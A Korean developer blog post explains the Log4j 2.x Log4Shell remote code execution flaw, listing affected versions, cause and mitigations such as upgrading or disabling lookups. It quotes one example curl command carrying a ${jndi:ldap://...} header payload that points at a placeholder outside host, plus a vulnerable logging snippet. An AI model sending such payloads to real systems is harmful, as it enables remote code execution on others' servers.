[Java] Apache Log4j 2.x 취약점 및 해결 방법 (Log4j2 remote code execution vulnerability)

12월 11일 Log4j에서 엄청난 취약점이 발견됐다는 소식이 나오길래 뭐 때문인지? 그리고 해결 방안은 무엇인지 찾아봤습니다.

취약 버전

2.0 beta9 <= Log4j2 <= 2.14.1 (1.x 버전은 해당사항 없음)

원인

Log4j의 ldap JNDI 파서를 통한 원격 코드 실행(RCE – Remote Code Execution) 취약점 때문에 문제가 발생했다.

예)

request의 userAgent를 log4j를 사용해 로그를 찍는 경우 발생할 수 있습니다. 

xxx.xxx.xxx.xxx/a 에 위치한 자바 객체를 자동으로 서버에서 실행 시키는 공격
ex) # curl 127.0.0.1:8080 -H ‘X-Api-Version: ${jndi:ldap://xxx.xxx.xxx.xxx/a}’

위와 같은 공격말고도 무궁무진한 방법을 사용할 수 있을 것으로 보입니다.

static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());...String userAgent = he.getRequestHeader("user-agent");    String response = "<h1>Hello There, " + userAgent + "!</h1>";log.error("Request User Agent:{}", userAgent);...

– 안랩

해결책

  • 가장 안전한 방법은 log4j 를 2.15.0 이상으로 올리는 것이다. 하지만 이 방법은 Java 8이 필요하다. 2.12.1 버전 Java 7을 지원하는 마지막 버전이므로, 2.13.0 이상 버전을 사용중이라면 판올림에는 문제가 없다.
  • log4j 2.10.0 이상 사용 시 다음의 방법 중 한 가지 이상의 방법을 사용한다. 1. Java 실행 인자(Arguments) 에 시스템 속성을 추가한다. -Dlog4j2.formatMsgNoLookups=true
    2. Java 실행 계정의 환경 변수 혹은 시스템 변수로 LOG4J_FORMAT_MSG_NO_LOOKUPS=true를 설정한다.
  • log4j 2.7.0 이상 사용 시 log4j 설정(log4j.xml 등)에 PatternLayout 속성에 있는 %m 부분을 %m{nolookups} 으로 교체한다.
  • log4j 상기버전 미만일 경우 가장 어려운 상황으로, JndiLookup 클래스와 JndiManager 클래스를 읽지 못하도록 조치해야 한다. log4j-core.jar 를 직접 빌드하거나, 자바 프로젝트에 패키지명까지 맞춰가면서 dummy화 시켜야 한다. 
  • log4j 외에 다른 로깅 모듈로의 교체를 검토한다.

– 나무위키

컴퓨터 역사상 최악 취약점 발견이라는 말도 나오는 거 보니 이전부터 아는 사람들이 열심히 써왔었겠네요..

저희 회사는 다행히 다른 로깅 라이브러리를 사용하고 있어서 별 다른 조치를 안 해도 되니 다행이네요 ㅠㅠ

출처

1. https://github.com/advisories/GHSA-jfh8-c2jp-5v3q

2. https://namu.wiki/w/2021%EB%85%84%20%EC%9E%90%EB%B0%94%20%EB%B3%B4%EC%95%88%20%EC%B7%A8%EC%95%BD%EC%A0%90%20%EC%82%AC%ED%83%9C#rfn-1

3. https://asec.ahnlab.com/ko/29479/

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다